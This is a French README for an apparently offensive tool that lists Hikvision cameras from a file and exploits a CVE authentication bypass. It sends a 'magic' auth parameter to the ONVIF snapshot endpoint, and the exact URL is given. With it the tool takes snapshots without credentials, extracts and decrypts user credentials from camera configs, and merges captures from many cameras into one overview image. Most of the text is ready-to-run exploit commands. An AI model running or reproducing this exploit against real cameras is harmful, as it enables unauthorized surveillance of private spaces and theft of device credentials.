
Contournement d'authentification HikVision CVE, l'outil est capable d'extraire les identifiants et de prendre des instantanés basés sur un magic cookie ou des identifiants fournis.
Outil autonome pour lister les caméras Hikvision à partir d'un fichier et prendre un instantané de chacune d'elles en utilisant des identifiants valides (authentification HTTP Basic ou Digest) ou le contournement d'authentification CVE. Conçu pour être exécuté sur un autre hôte à des fins de test.
hôte ou hôte:port par ligne).--save-snapshot pour les appareils vulnérables.--exploit pour utiliser le contournement CVE sans identifiants).--merge optionnel pour construire une image d'ensemble. Dépendances : requests, Pillow (pour --merge).requestspip install -r requirements.txt
Créez un fichier texte avec une caméra par ligne. Les commentaires avec # sont ignorés.
# exemple cameras.txt
192.168.1.100
192.168.1.101:80
nvr.local:8080
Affiche les caméras lues depuis le fichier (aucun identifiant nécessaire).
python hikvision_snapshots.py cameras.txt list
Vérification optionnelle de l'accessibilité (GET HTTP vers chaque hôte) :
python hikvision_snapshots.py cameras.txt list -v
Teste chaque caméra pour la CVE de contournement d'authentification d'instantané Hikvision. Aucun identifiant requis.
python hikvision_snapshots.py cameras.txt check
Sauvegarde les instantanés uniquement pour les caméras vulnérables :
python hikvision_snapshots.py cameras.txt check --save-snapshot -o ./vuln_snapshots
Options : --timeout, --workers, -o (pour --save-snapshot).
Extrait les identifiants de chaque caméra via la CVE (authentification magique pour récupérer la liste des utilisateurs et le fichier de configuration, puis déchiffrement de la configuration). Nécessite OpenSSL sur l'hôte. Aucun identifiant nécessaire pour l'exécution.
python hikvision_snapshots.py cameras.txt credentials
Options : --timeout, --workers.
Vérifie que vos identifiants fonctionnent sur chaque caméra (utilise les mêmes points de terminaison d'instantané ; ne sauvegarde pas d'images).
python hikvision_snapshots.py cameras.txt auth-check -u admin -p VotreMotDePasse
Options : --timeout, --workers, --digest (identique à l'instantané).
Prend un instantané par caméra et le sauvegarde au format JPEG. Utilisez soit des identifiants valides soit --exploit (contournement d'authentification CVE, sans identifiants).
# Avec identifiants
python hikvision_snapshots.py cameras.txt snapshot -u admin -p VotreMotDePasse
# Avec l'exploit CVE (aucun identifiant)
python hikvision_snapshots.py cameras.txt snapshot --exploit
snapshots/ par défaut (utilisez -o pour changer).hôte ou hôte_port (ex. 192_168_1_100.jpg, nvr_local_8080.jpg).Options :
Avec --merge, après avoir sauvegardé chaque instantané, l'outil construit une image de grille unique (overview.jpg) dans le répertoire de sortie avec une cellule par caméra et une étiquette. Nécessite Pillow (pip install Pillow).
Exemple avec sortie personnalisée et authentification Digest :
python hikvision_snapshots.py cameras.txt snapshot -u admin -p secret -o ./images --digest --timeout 20
Exemple avec vue d'ensemble fusionnée :
python hikvision_snapshots.py cameras.txt snapshot -u admin -p VotreMotDePasse --merge
# ou avec exploit (sans identifiants) :
python hikvision_snapshots.py cameras.txt snapshot --exploit --merge -o ./out
Instantané authentifié (avec identifiants) : le script essaie dans l'ordre – /ISAPI/Streaming/channels/1/picture, /ISAPI/Streaming/channels/101/picture, /onvif-http/snapshot.
CVE (vérification / --exploit) : /onvif-http/snapshot?auth=YWRtaW46MTEK (contournement d'authentification magique, sans identifiants).
hikvision_snapshots.py, requirements.txt et votre fichier de liste de caméras sur l'hôte.pip install -r requirements.txtlist pour vérifier le fichier ; utilisez check pour la CVE, auth-check pour les identifiants, ou snapshot (avec -u/-p ou --exploit).Assurez-vous que l'hôte a un accès réseau à toutes les adresses IP et ports des caméras.
| Option | Description | Par défaut |
|---|
-u, --username | Nom d'utilisateur de la caméra | requis sauf si --exploit |
-p, --password | Mot de passe de la caméra | requis sauf si --exploit |
--exploit | Utiliser le contournement d'authentification magique CVE (sans identifiants) | désactivé |
-o, --output-dir | Répertoire pour les images d'instantané | snapshots |
--timeout | Délai d'attente HTTP en secondes | 15 |
--workers | Nombre de requêtes d'instantané simultanées | 10 |
--digest | Utiliser l'authentification Digest HTTP au lieu de Basic | désactivé |
--merge | Fusionner tous les instantanés en une seule image d'ensemble | désactivé |
--merge-columns | Colonnes de la grille pour la fusion (par défaut : auto) | auto |